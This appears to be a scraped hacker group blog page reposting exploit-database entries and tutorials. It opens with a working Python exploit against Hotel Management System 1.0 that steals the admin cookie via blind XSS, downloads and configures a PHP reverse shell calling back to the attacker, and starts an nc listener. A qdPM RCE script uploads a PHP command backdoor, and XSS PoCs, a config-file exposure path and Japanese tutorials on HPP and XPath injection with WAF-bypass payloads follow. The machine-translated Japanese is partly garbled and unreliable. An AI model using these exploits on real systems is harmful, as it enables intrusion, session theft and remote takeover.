# Exploit Title: Hotel Management System 1.0 - Cross-Site Scripting (XSS) Arbitrary File Upload Remote Code Execution (RCE)
# Date: 2021-08-01
# Exploit Author: Merbin Russel
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7204
# Version: V1.0
# Tested on: Linux + xampp 7.4.21
'''
What does This Script Do:
1. Send BXSS payload to site
2. Wait until admin fires it
3. Steal admin's session using BXSS script
4. Using Admin's session, upload php shell
5. Make a reverse TCP connection
Why does It need BXSS?
1. Site contains file upload feature only in admin's panel.
2. To upload a file we need to know credentials of admin or session
3. BXSS used to steal admin's session to upload php file
'''
import socketserver as SocketServer
from http.server import BaseHTTPRequestHandler, HTTPServer
import sys
import requests
from time import sleep
import _thread as thread
import os
import multiprocessing
try:
your_ip = sys.argv[1]
your_port = sys.argv[2]
site_url = sys.argv[3]
except IndexError:
print("please run this script as below format \npython3 text.py <attacker_IP> <Attacker_Port> <site's url> ")
sys.exit()
site_url_xss= site_url + "enquiry.php"
os.system('echo "$(tput setaf 6) Trying To inject BXSS Script on site...."')
xss_script='cc@g.com <script>document.location="http://'+your_ip+':'+your_port+'/?c="+document.cookie;</script>'
r = requests.post(site_url_xss, data={'fname':'name', 'email':xss_script,'mobileno':'2154124512','subject':'XSS', 'description':'Blind', 'submit1':' '})
global session
session = ""
os.system('echo "$(tput setaf 6) BXSS Script has been successfully injected on site...."')
os.system('echo "$(tput setaf 6) Waiting for the BXSS payload to be fired..."')
def exploit_trigger():
url_payload = site_url+"admin/pacakgeimages/payload.php"
r= requests.get(url_payload, allow_redirects=True)
def listener():
os_command= "nc -lvp" + str(int(your_port)+1) +"-n"
os.system(os_command)
def exploit():
p1 = multiprocessing.Process(name='p1', target=listener)
p2 = multiprocessing.Process(name='p2', target=exploit_trigger)
p1.start()
sleep(5)
p2.start()
def upolad_file():
os.system('echo "$(tput setaf 6) Trying To upload PHP reverse shell...$(tput sgr0)"')
global session
url = site_url+"admin/create-package.php"
cookies = {str(session.split("=",1)[0]): str(session.split("=",1)[1] )}
files = {'packagename': (None, 'Helloabcd123'),
'packagetype': (None, 'Helloabcddfff'),
'packagelocation': (None, 'locationing'),
'packageprice': (None, '12345'),
'packagefeatures': (None, 'python_free'),
'packagedetails': (None, 'hello_excuse_me'),
'packageimage': open('payload.php', 'rb'),
'submit': (None, ' '),}
r = requests.post(url, files=files, cookies=cookies, verify=False)
exploit()
def download_payload():
os.system('echo "$(tput setaf 6) BXSS script has been fired..."')
os.system('echo "$(tput setaf 6) Downloading PHP reverse shell..."')
try:
url_payload= "https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php"
r = requests.get(url_payload, allow_redirects=True)
except:
url_payload= "https://raw.githubusercontent.com/e23e/Testing/master/php-reverse-shell.php"
r = requests.get(url_payload, allow_redirects=True)
open('payload_temp.php', 'wb').write(r.content)
reading_file = open("payload_temp.php", "r")
new_file_content = ""
for line in reading_file:
stripped_line = line.strip()
new_line = stripped_line.replace("$ip = '127.0.0.1'; // CHANGE THIS", "$ip = '"+your_ip+"'; // Changed")
if stripped_line == "$port = 1234; // CHANGE THIS":
new_line = stripped_line.replace("$port = 1234; // CHANGE THIS", "$port = '"+str(int(your_port)+1)+"'; // Changed")
new_file_content += new_line +"\n"
reading_file.close()
writing_file = open("payload.php", "w")
writing_file.write(new_file_content)
writing_file.close()
upolad_file()
def kill_me_please(server):
server.shutdown()
def grep_session(path_info):
global session
session= path_info.split("/?c=",1)[1]
download_payload()
class MyHandler(BaseHTTPRequestHandler):
global httpd
global x
x=0
def do_GET(self):
global httpd
global x
if x>=1:
return
x=x+1
grep_session(self.path)
self.send_response(200)
thread.start_new_thread(kill_me_please, (httpd,))
httpd = SocketServer.TCPServer(("", 5555), MyHandler)
httpd.serve_forever()
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863582607
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
# Exploit Title: Client Management System 1.1 - 'cname' Stored Cross-site scripting (XSS)
# Date: 2021-08-04
# Exploit Author: Mohammad Koochaki
# Vendor Homepage: https://phpgurukul.com/client-management-system-using-php-mysql/
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10841
# Version: 1.1
# Tested on: Ubuntu 20.04.2 LTS, PHP 7.4.3
### This application is prone to a cross-site scripting in the 'searchdata'
parameter at the following path:
- Reflected: http://localhost/admin/search-invoices.php
- Reflected: http://localhost/client/search-invoices.php
- Stored: http://localhost/client/client-profile.php
### Payloads:
- Reflected: </h4><script>alert(document.cookie)</script>
- Stored: "><script>alert(document.cookie)</script>Anuj+Kumar
### PoC:
## Reflected:
POST /admin/search-invoices.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Origin: http://localhost
Connection: close
Referer: http://localhost/admin/search-invoices.php
Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
searchdata=</h4><script>alert(document.cookie)</script>&search=
## Stored:
POST /client/client-profile.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 335
Origin: http://localhost
Connection: close
Referer: http://localhost/client/client-profile.php
Cookie: PHPSESSID=o5thu5n92ac58evl71eou90krs
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1
cname="><script>alert(document.cookie)</script>Anuj+Kumar&comname=PHPGurukul+Programming+Blog&address=New+Delhi&city=New+Delhi&state=Delhi&zcode=110001&wphnumber=9354778033&cellphnumber=9354778033&ophnumber=9354778033&email=phpgurukulofficial%
40gmail.com&websiteadd=https%3A%2F%2Fphpgurukul.com¬es=New+User&submit=
# Exploit Title: qdPM 9.2 - DB Connection String and Password Exposure (Unauthenticated)
# Date: 03/08/2021
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: https://qdpm.net/
# Software Link: https://sourceforge.net/projects/qdpm/files/latest/download
# Version: 9.2
# Tested on: Ubuntu 20.04 Apache2 Server running PHP 7.4
The password and connection string for the database are stored in a yml file. To access the yml file you can go to http://<website>/core/config/databases.yml file and download.
# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution
#!/usr/bin/python3
import sys
import requests
from lxml import html
from argparse import ArgumentParser
session_requests = requests.session()
def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):
request_1 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, uservar),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[remove_photo]': (None, '1'),
}
return request_1
def req(userid, username, csrftoken_, EMAIL, HOSTNAME):
request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,
'.htaccess')
new = session_requests.post(HOSTNAME + 'index.php/myAccount/update',
files=request_1)
request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME,
'../.htaccess')
new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update',
files=request_2)
request_3 = {
'sf_method': (None, 'put'),
'users[id]': (None, userid[-1]),
'users[photo_preview]': (None, ''),
'users[_csrf_token]': (None, csrftoken_[-1]),
'users[name]': (None, username[-1]),
'users[new_password]': (None, ''),
'users[email]': (None, EMAIL),
'extra_fields[9]': (None, ''),
'users[photo]': ('backdoor.php',
'<?php if(isset($_REQUEST[\'cmd\'])){ echo
"<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>'
, 'application/octet-stream'),
}
upload_req = session_requests.post(HOSTNAME +
'index.php/myAccount/update', files=request_3)
def main(HOSTNAME, EMAIL, PASSWORD):
url = HOSTNAME + '/index.php/login'
result = session_requests.get(url)
#print(result.text)
login_tree = html.fromstring(result.text)
authenticity_token =
list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]
payload = {'login[email]': EMAIL, 'login[password]': PASSWORD,
'login[_csrf_token]': authenticity_token}
result = session_requests.post(HOSTNAME + '/index.php/login',
data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))
# The designated admin account does not have a myAccount page
account_page = session_requests.get(HOSTNAME + 'index.php/myAccount')
account_tree = html.fromstring(account_page.content)
userid = account_tree.xpath("//input[@name='users[id]']/@value")
username = account_tree.xpath("//input[@name='users[name]']/@value")
csrftoken_ =
account_tree.xpath("//input[@name='users[_csrf_token]']/@value")
req(userid, username, csrftoken_, EMAIL, HOSTNAME)
get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')
final_tree = html.fromstring(get_file.content)
backdoor =
final_tree.xpath("//input[@name='users[photo_preview]']/@value")
print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' +
backdoor[-1] + '?cmd=whoami')
if __name__ == '__main__':
print("You are not able to use the designated admin account because
they do not have a myAccount page.\n")
parser = ArgumentParser(description='qdmp - Path traversal + RCE
Exploit')
parser.add_argument('-url', '--host', dest='hostname', help='Project
URL')
parser.add_argument('-u', '--email', dest='email', help='User email
(Any privilege account)')
parser.add_argument('-p', '--password', dest='password', help='User
password')
args = parser.parse_args()
# Added detection if the arguments are passed and populated, if not
display the arguments
if (len(sys.argv) > 1 and isinstance(args.hostname, str) and
isinstance(args.email, str) and isinstance(args.password, str)):
main(args.hostname, args.email, args.password)
else:
parser.print_help()

- Read more...
- 0 comments
- 12 views

タイトル:HPP注入の詳細な説明
HACKER · %s · %s
httpparameterpollutionは略してHPPと呼ばれるため、一部の人々はそれを「HPPパラメーター公害」と呼んでいます。 HPPは注入型の脆弱性です。攻撃者は、特定のパラメーターをHTTP要求に挿入することにより攻撃を開始します。このような脆弱性がWebアプリケーションに存在する場合、攻撃者はクライアントまたはサーバー攻撃を行うために使用できます。
### HPPパラメーター汚染の原理
最初に、HTTPパラメーター処理について説明しましょう。サーバーとの対話中、クライアントはしばしばGET/POSTリクエストにパラメーターをもたらします。
post /foo http /1.1
user-agent: mozilla/5.0
host:ホスト
Accept: */*
Content-Length: 19
post /foo http /1.1
user-agent: mozilla/5.0
host:ホスト
Accept: */*
Content-Length: 19
上記の例に示すように、これらのパラメーターは名前と値のペアの場合に表示され、通常はリクエストにおいて、同じ名前のパラメーターは一度だけ表示されます。ただし、HTTPプロトコルでは、同じ名前のパラメーターが複数回表示されます。以下のW3Schoolリンクで試すことができます。
http://www.w3schools.com/html/tryit.asp?filename=tryhtml_form_checkbox
ただし、同じ名前のパラメーターが何度も発生した場合、異なるサーバーが異なる方法で処理されます。たとえば、次の3つの例を参照してください。
http://www.google.com/search?q=italyq=china(googleプロセス2同時に同時に同じパラメーター)
http://search.yahoo.com/search?p=italyp=china(yahooはその後パラメーターを処理します)
https://www.baidu.com /search?p=yateyp=china(baiduは最初のパラメーターを処理します)
Googleに2つの検索キーワードパラメーターを同時に提供すると、Googleは両方のパラメーターを照会します。 Baiduは最初のパラメーターの値を処理しますが、Yahooは異なり、次のパラメーターのみを処理します。次の表には、複数回表示される同じ名前のパラメーターを処理する一般的な方法を簡単に示します。
Webサーバー
関数を取得するパラメーター
取得したパラメーター
PHP/Apache
$ _get( "par")
最後
JSP/Tomcat
request.getParameter( "par")
初め
Perl(CGI)/Apache
param( "par")
初め
Python/Apache
getValue( "par")
すべて(リスト)
ASP/IIS
request.querystring( "par")
all(Comma Delimited文字列)
このURL:http://www.xxxx.com/search.php?id=110id=911を想定してください
Baiduは、Baidu検索を許可することとしてそれを理解します:110#最初のパラメーターを選択し、2番目のパラメーターを放棄します。
Yahooは、Yahoo Search:911#を尋ねることを理解し、2番目のパラメーターを選択し、最初のパラメーターをあきらめました。
Googleは、Googleの検索を許可することとして理解します:110 911#同時に2つのパラメーターを選択します。
主なことは、これらの3つの状況です。これは主に、さまざまなWebサイトによる処理パラメーターを処理するさまざまな方法が原因です。
### HPPパラメーター汚染攻撃方法
HTTPパラメーター公害、またはHPPは、Webサイトがユーザー入力を受け入れ、それを使用して他のシステムに送信されたHTTP要求を生成し、ユーザー出力を確認しないときに発生します。サーバー(バックエンド)またはクライアントを介して、2つの方法で生成されます
1。クライアントへの攻撃
たとえば、2人の候補者の間で他の人の間で投票するために使用されるウェブサイトがあります。このWebサイトのURLとコードは次のとおりです。
URL : http://host/letheme.jsp?poll_id=4568
link1: a href='lote.jsp?poll_id=4568candidate=zhang' zhang san/aの投票
link2: a href='bote.jsp?poll_id=4568candidate=li' li si/aの投票
さまざまな理由で、このページで投票に使用されるリンクの実装は次のとおりです。悪意のある攻撃者が次のURLを生成し、有権者に送信する場合:
http_: //host/letheme.jsp?poll_id=4568candidate=zhang
その後、ページの最終コンテンツは次のとおりです。
URL : http://HOST/chollect.jsp?poll_id=4568candidate=zhang
link1: a href='lote.jsp?poll_id=4568candidate=zhangcandidate=zhang' zhang san/aの投票
link2: a href='yot.jsp?poll_id=4568candidate=zhangcandidate=li' li si/aの投票
JSPについては、同じ名前の2つのパラメーターがある場合に最初の値が取られるため、投票者が誰を選択しても、Zhang Sanは常に票に勝ちます。
一般的に言えば、クライアントへの攻撃は一般に次のプロセスであり、ユーザーは望ましくないオプションを選択します。
2。サーバー側への攻撃
たとえば、特定のWebサイトの実装は次のとおりです。
void private executebackendRequest(httprequest request){
文字列Action=request.getParameter( 'Action');
string user=request.getParameter( 'userid');
文字列ターゲット=request.getParameter( 'ターゲット');
httpRequest( 'http://CentralAuthencationServer/checkprivileded.jsp'、 'post'、 'action='+action+'user='+'user+'ターゲット='+ターゲット);}
/*このユーザーが指定されたアクションを実行する特権があるかどうかのフィードバックを取得します。そのような特権がない場合は、エラーを返し、それ以外の場合はアクションを実行し続けます*/
httpRequest( 'http://BusinessServer/performance.php'、 'post'、 'action='+action+'user='+user+'ターゲット='+ターゲット);}
ユーザー許可を認証するための独立した集中認証サーバーを備えており、別のサービスサーバーがビジネスの処理に特別に使用されています。外部ポータルは、実際にはリクエストを転送するためにのみ使用されます。次に、以下のリクエストをサーバーに送信する場合は、元々読み取り専用権限を持っていたユーザーを見てください。
http://www.backlion.org/page?action=viewuserid=zhangsantarget=bizreportaction=edit
したがって、Web Serverパラメーターの処理を知っている方法に応じて、このユーザーは認証を通じて行う許可を持たないことを行うことができます。
Webサーバー
関数を取得するパラメーター
取得したパラメーター
PHP/Apache
$ _get( "par")
最後
JSP/Tomcat
request.getParameter( "par")
初め
### HPPパラメーター汚染のヒント
HPPは、攻撃者がいくつかのWebアプリケーションファイアウォール(WAF、WebAppファイアウォール)をバイパスするために使用することもできます。 HTTPパラメーター汚染注入は、Webサイトで提出された同じパラメーターを処理するさまざまな方法によって引き起こされます。
例えば:
www.backlion.org/a?key=abkey=3
サーバーが入力キーの値を返す場合、
1:AB
2:3
3:AB3
これらの3つの異なる方法。
特定のサーバー処理方法は次のとおりです。
Webサーバー
関数を取得するパラメーター
取得したパラメーター
PHP/Apache
$ _get( "par")
最後
JSP/Tomcat
request.getParameter( "par")
初め
Perl(CGI)/Apache
param( "par")
初め
Python/Apache
getValue( "par")
すべて(リスト)
ASP/IIS
request.querystring( "par")
all(Comma Delimited文字列)
入力www.backlion.org/a?key=selectkey=1,2,3,4をテーブルから仮定します
サーバーは、テーブルから1,2,3,4を選択してキーを処理し、SQL注入をもたらします
たとえば、特定のページのSQLインジェクション攻撃は次のとおりです。
show_user.aspx?id=5; select+1,2,3+from+users+where+id=1---
この攻撃は、パラメーターID:select . from .しかし、hppに変更されている場合、Select .から明らかなSQLインジェクションテンプレートがあるため、WAFによって正常に傍受されます。
show_user.aspx?id=5; select+1id=2Id=3+from+users+where+id=1--
現時点では、selectの特性を持つパラメーターはありません。
PHPは、以下のWAF:をバイパスするために使用できます
http://www.xishaonian.com/hello.php?id=select 1ID=2,3,4から管理者
この状況は、WAFをバイパスするためにも使用し、もちろんXSSと組み合わせることもできます。
### HPPパラメーター汚染ケース
ケース1:2009年、ModSecurityフィルターは、ブラックリストに登録されたテーブルからSelect1,2,3などのステートメントを分類します。 Webサーバーが /index.aspx?page=select 1,2,3のようなステートメントに遭遇すると、リクエストがブロックされます。ただし、このWebサーバーが同じパラメーターに割り当てられた異なる値に遭遇すると、それらを接続します。攻撃者は、この方法を介してブラックリストをバイパスできます。たとえば、次のURLを送信します。
/index.aspx?page=select 1Page=2,3mからテーブルから
まず第一に、これはブラックリストのパターンではなく、ブラックリストインターセプト関数をトリガーしません。第二に、Webプログラムは接続操作、つまりシンボルの前後にコンテンツを接続するため、SQLインジェクションの動作を実行できます。
ケース2:このケースは、多くのUNIXシステムで使用されている印刷システムであるApple Cupsに関するものです。次の方法を使用してXSS攻撃を試してください。
http://127.0.0.1:631/admin/?kerberos=onmouseover=alert(1)kerberos
この検証システムは、空の2番目のKerberosの値のみを採用しているため、トリガーされないため、この方法はシステムの検証メカニズムをバイパスするために使用できます。最初のKerberosは、動的なHTMLコンテンツの構築に使用されるまで確認されませんでした。最後に、JavaScriptステートメントはWebサイトのコンテキストで実行されます
ケース3:多くの支払いリンクには抜け穴がある場合があります。一方で、支払いリンクには一般に、重要なパラメーターで構築された署名があります。これらの署名は、特定の重要なフィールドで構成され、同じ名前のフィールドを追加した後。署名時に最初の支払い金額パラメーターが検証される可能性があります。ただし、実際の支払いが使用されると、後続の支払い額パラメーターが使用され、署名が囲まれます。
次のサイトがあるとします。3https://www.example.com/transfermoney.php。これは、次のパラメーターを使用して、POSTメソッドからアクセスできます。
金額=1000 FromAccount=12345
申請がリクエストを処理すると、他のバックエンドシステムへの独自のPOSTリクエストを生成します。これは、実際に固定されたToAcCcccccccarterパラメーターを使用してトランザクションを処理します。
個別のバックエンドURL:https://BackEnd.example/dotransfer.php
個別のバックエンドパラメーター:toaccount=9876amount=1000 FromAccount=12345
ここで、バックエンドが重複パラメーターが提供されたときに最後のパラメーターのみを受け入れ、攻撃者がWebサイトに送信されたPOSTリクエストを変更してToAcCountパラメーターを送信すると仮定します。
金額=1000 FromAccount=12345ToAccount=99999
HPPの脆弱性を備えたサイトは、このような別のバックエンドシステムにリクエストを転送します。
toaccount=9876amount=1000 -FromAccount=12345ToAccount=99999(PHPプロセスの最後のパラメーター値、つまり99999)
ここでは、悪意のあるユーザーが提出した2番目のToaccountパラメーターは、バックエンドリクエストを上書きし、システムによって設定された予想アカウントの代わりに、悪意のあるユーザーのトレーニングアカウント(99999)にお金を転送します(9876)。
これは、攻撃者が自分の要求を変更し、脆弱なシステムで処理するつもりである場合に非常に便利です。しかし、攻撃者が別のポイントからリンクを作成し、ユーザーに攻撃者が添付した追加のパラメーターを使用して悪意のあるリクエストを誤って送信するように誘導できる場合、攻撃者にとってより実用的になる可能性があります。
ケース4:一方、HPPクライアントは、追加のパラメーターをリンクやその他のSRC属性に注入することを伴います。 OWASPの一例では、次のコードがあるとします。
? $ val=htmlspecialchars($ _ get ['par']、ent_quotes); a href='/page.php?action=viewpar='。=$ val? ''私を見る!/a
URLからのPARの値を受け入れ、安全であることを保証し、そこからリンクを作成します。さて、攻撃者が提出した場合:
http://host/page.php?par=123action=edit
結果のリンクは次のとおりです。
a href='/page.php?action=viewpar=123action=edit'View me!/a
これにより、アプリケーションは操作を表示する代わりに編集操作を受け入れます
### HPPパラメーター公害リスト
1。ハッケロンソーシャル共有ボタン
レポート接続:https://hackerone.com/blog/introducing-signal-and-Impact
脆弱性の説明:Hackeroneには、Twitter、Facebookなどの有名なソーシャルメディアサイトでコンテンツを共有するためのリンクが含まれています。これらのソーシャルメディアリンクには、ソーシャルメディアリンクに使用される特定のパラメーターが含まれています。
攻撃者は、別のURLパラメーターをリンクに追加して、被害者をクリックして誘い込むことができます。 Hackeroneには、ソーシャルメディアサイトに送信されたPOSTリクエストのパラメーターの変更が含まれているため、脆弱性が生じます。脆弱性レポートで使用される例は、URLを配置することです。
https://hackerone.com/blog/introducing-signal
修正:
https://hackerone.com/blog/introducing-signal?u=3https://vk.com/durov
追加のパラメーターuに注意してください。後続のUパラメーターの値を変更して、被害者を誘い出してソーシャルメディアリンクを介してコンテンツを共有しようとすると、悪意のあるリンクが次のようになります。
https://www.facebook.com/sharer.php?u=https://hackerone.com/blog/introducing-signal?u=https://vk.com/durov
ここでの最後のパラメーターuは、最初のパラメーターよりも優先度が高く、Facebookの公開には後で使用されます。 Twitterに投稿すると、推奨されるデフォルトのテキストも変更されます。
https://hackerone.com/blog/introducing-signal?u=33https://vk.com/durovtext=another_site:3359vk.com/durov
2。 Twitterが登録解除
レポート接続:https://blog.mert.ninja/twitter-hpp-vulnerability/
脆弱性の説明:2015年8月、ハッカーのMert Tasciは、Twitterの受信のケアをキャンセルしたときに興味深いURLに気付きました。
https://twitter.com/i/u?t=1cn=bwvsig=657iid=f6542uid=1134885524nid=22+26
パラメーターUIDはTwitterアカウントUIDである可能性があることに注意してください。これで、彼がほとんどのハッカーがすると思うことに注意を払い、UIDを他のユーザーに変更してみてください。Twitterはエラーを返しました。他の方法が放棄された可能性があることを考慮して、Mertは2番目のUIDパラメーターを追加したため、URLは次のようになります。
https://twitter.com/i/u?iid=f6542UID=2321301342UID=1134885524NID=22+26それから成功しました。彼は他のユーザーのメールリマインダーからの登録を解除することができました。これは、TwitterからのHPP解除の脆弱性があることを示しています。
3。 Twitter Webインテント
レポートリンク:https://ericrafaloff.com/parameter-tampering-attack-on-twitter-web-intents
脆弱性の説明:Archive Twitter Web Intentsによると、Twitterユーザー:Tweet、返信、リツイートなどを処理するためのポップアップ最適化されたデータストリームを提供します。これにより、ユーザーはページを離れたり、新しいアプリの対話を許可することなく、サイトコンテキストでTwitterコンテンツと対話できます。これがその例です:
完全なテストの後、ハッカーのエリック・ラファロフは、4つの意図タイプすべてが、ツイート、転送、ツイートなどのユーザーがすべてHPPの脆弱性を持っていることを発見しました。
2つのscreen_nameパラメーターを持つURLを作成する場合:
https://twitter.com/intent/follow?screen_name=twitterscnreen_name=erictest3
Twitterは2番目のscreen_nameを処理します。これは、最初のscreen_nameよりも優先されます。 Webフォームによると、このようなもの:
form class='follow' id='follow_btn_form'action='/intent/follow?screen_name=er \ icrtest3'method='post'input type=' hidden'name='真正性_token'value=' . '
入力型='hidden'name=' screen_name'value='twitter'
入力型='hidden'name=' profile_id'value='783214'
ボタンclass='button'type='送信'
b/bstrongfollow/strong
/ボタン
/形状
被害者は、screen_name twitterでユーザープロファイルが定義されているのを見ますが、ボタンをクリックすると、erictest3に従います。
同様に、likeの意図を提示する場合、エリックはscreen_nameパラメーターを含めることができることを発見しましたが、このツイートのようには何の関係もありません。
https://twitter.com/intent/like?tweet_id=6616252302978211845screen_name=erictest3
このツイートのように、犠牲者に正しいユーザープロファイルが表示されますが、「フォロー」をクリックした後、erictest3に続きます。
###脆弱性防御
1.HPPは、新しい注入の脆弱性です。この脆弱性を防ぐために、入力パラメーターの形式を確認することに加えて、HTTPプロトコルが同じ名前のパラメーターを許可することを認識する必要もあります。申請プロセス全体で、これを認識し、サービスの特性に従ってそのような状況を正しく処理する必要があります。
2.WAFまたは他のゲートウェイデバイス(IPSなど)に、URLをチェックするときに特別な処理を行わせます。 HTTPプロトコルはURLに同じパラメーターを複数回表示できるようにするため、この特別な治療には過失致死の状況を回避するために注意が必要です。
3.コードレベルでは、Webプログラムを作成するときは、合理的な$ _GETメソッドを介してURLのパラメーター値を取得し、Webサーバーによって返された他の値をプログラムに取得しようとする場合は注意してください。
- Read more...
- 0 comments
- 11 views

Simple Image Gallery System 1.0 - 'id' SQL Injection
HACKER · %s · %s
- Read more...
- 0 comments
- 10 views

- Read more...
- 0 comments
- 11 views

- Read more...
- 0 comments
- 11 views

Title: Raspberry Pi 4B installation KALI2022
HACKER · %s · %s
Download the appropriate version according to your own system environment.
When downloading, it is recommended to use Thunder to download. More stable.
After the download is completed, open the tool win32 disk image tool, and other tools are also OK.
Wait for a moment.
The prompt is that the writing is successful.
Unplug the card and insert it into the Raspberry Pi. Connect the network cable to power up!
Confirm the IP address
Log in to the router to view the ip of the Raspberry Pi, or use nmap to scan.
nmap -sL 192.168.123.1/24
Login Kali
Here we use xshell to log in to the Raspberry Pi. The default account and password are kali kali
As follows, successfully logged in kali
Other Matters
Configure vnc
Because of my poor family, I can’t afford to buy a screen. Connect remotely with vnc.
Enter tightvncserver to configure vnc connection password in the terminal.
Connect vnc
Host name: ip:1
Password: The password you just entered
Note that :1 must be filled in after ip
Start command is vncserver :1
Set root password
With the arrival of 2022, kali's initial root account is disabled. Instead, a new strategy has been updated. That is, the user is an ordinary user kali
Execute the following command to modify the root password.
sudo su
Passwd root sets the root account and password
Set Chinese
Enter dpkg-reconfigure locales on the command line.
After entering the graphical interface, (space is selected, Tab is toggle, * is selected), select en_US.UTF-8 and zh_CN.UTF-8. After confirmation, select en_US.UTF-8 as the default.
Install Chinese fonts
apt-get install xfonts-intl-chinese
apt-get install ttf-wqy-microhei is executed in terminal
echo LANG='zh_CN.UTF-8' /etc/default/locale
In this way, installing kali2022.1 in the Raspberry Pi is completed. More fun, we will continue to update later.
- Read more...
- 0 comments
- 11 views

- Read more...
- 0 comments
- 11 views

- Read more...
- 0 comments
- 11 views

GeoVision Geowebserver 5.3.3 - Local FIle Inclusion
HACKER · %s · %s
- Read more...
- 0 comments
- 11 views

- Read more...
- 0 comments
- 11 views

タイトル:Xpath注入の詳細な説明
HACKER · %s · %s
とは何ですか XPathはXMLパス言語であり、W3Cです
XSLT標準の主な要素は、XML(標準ユニバーサルマークアップ言語のサブセット)ドキュメントの特定の場所を決定するために使用される言語です。
XPathはXMLのツリー構造に基づいており、要素ノード、属性ノード、テキストノードなど、さまざまなタイプのノードがあります。データ構造ツリーでノードを見つける機能を提供し、XMLドキュメントで要素と属性を通過するために使用できます。
XPathはパス式を使用して、XMLドキュメントでノードまたはノードのセットを選択します。これらのパス式は、通常のコンピューターファイルシステムで見られるものと非常に似ています。
XPathは、メモリ内のXMLツリー全体をナビゲートするために使用される言語です。その元の設計は、XSLTとXPointerの言語になることであり、後にW3C標準とは独立しました。
0x02 Basic xpath構文
(1)Query Basic Statement
//ユーザー/ユーザー[loginid/text()=’abc'
およびパスワード/テキスト()=’test123']。
これは、LoginID ABCを使用してすべてのユーザーデータを取得するためのXPathクエリステートメントです。ユーザーは、結果を返すために正しいログニドとパスワードを送信する必要があります。ハッカーが入力した場合: 'またはloginidフィールドで1=1で入力してください:'またはパスワードで1=1では、検証をバイパスして、すべてのユーザーデータを正常に取得できます
//users/user [loginid/text()='' or
1=1およびパスワード/テキスト()=''または1=1]
(2)ノードタイプ
Xpathでは、XMLドキュメントはノードツリーとして扱われます。 XPathには、要素、属性、テキスト、名前空間、処理命令、コメント、ドキュメントノード(またはルートノードになる)の7つのノードタイプがあります。ドキュメントのルートノードはドキュメントノードです。対応する属性には属性ノードがあり、要素には要素ノードがあります。
要素(要素)
属性
テキスト(テキスト)
名前空間(名前空間)
処理導入(処理手順)
コメント(コメント)
ルート(ルートノード)
たとえば、次のXMLドキュメント、
?xmlバージョン='1.0'
encoding='ISO-8859-1'?
書店
本
タイトル
lang='en'harry potter/title
著者K.
ローリング/著者
2005年/年
価格29.99/価格
/本
/書店
書店ルートノード
著者K.
ローリング/著者要素ノード
lang='en'属性ノード
(3)式
パス式(PATH
式)ノードを選択するには、基本ルール:
表現
説明する
nodename
このノードのすべての子供を選択します
/
ルートノードから選択します
//
その場所に関係なく、一致によって選択された現在のノードからドキュメント内のノードを選択します。
現在のノードを選択します
.
現在のノードの親ノードを選択します
@
属性または @*を選択します:属性ノードを一致させます
*
任意の要素ノードを一致させます
XMLインスタンスを見てみましょう。
?xmlバージョン='1.0'
encoding='ISO-8859-1'?
書店
本
タイトル
lang='eng'harry potter/title
価格29.99/価格
/本
本
タイトル
lang='eng'learning xml/title
価格39.95/価格
/本
/書店
しかし:
パス式の結果
表現
結果
書店
書店要素のすべての子供を選択します
/書店
ルート要素の書店を選択します
書店/本
書店の子要素に属するすべての本要素を選択してください
//本
ドキュメント内の場所に関係なく、すべての本の子要素を選択してください
書店//本
書店の下にある場所に関係なく、書店要素の子孫に属するすべての本要素を選択してください
//@lang
Langという名前のすべての属性を選択します
(4)限られた単語
予選は、特定のノードまたは指定された値を含むノードを見つけるために使用されるパス式の追加条件です。予選は、四角い括弧に埋め込まれています。
パス式の結果:
表現
結果
/書店/本[1]
書店の子要素に属する最初の本要素を選択します
/bookstore/book [last()]
書店の子要素に属する最後の本要素を選択します
//title [@lang]
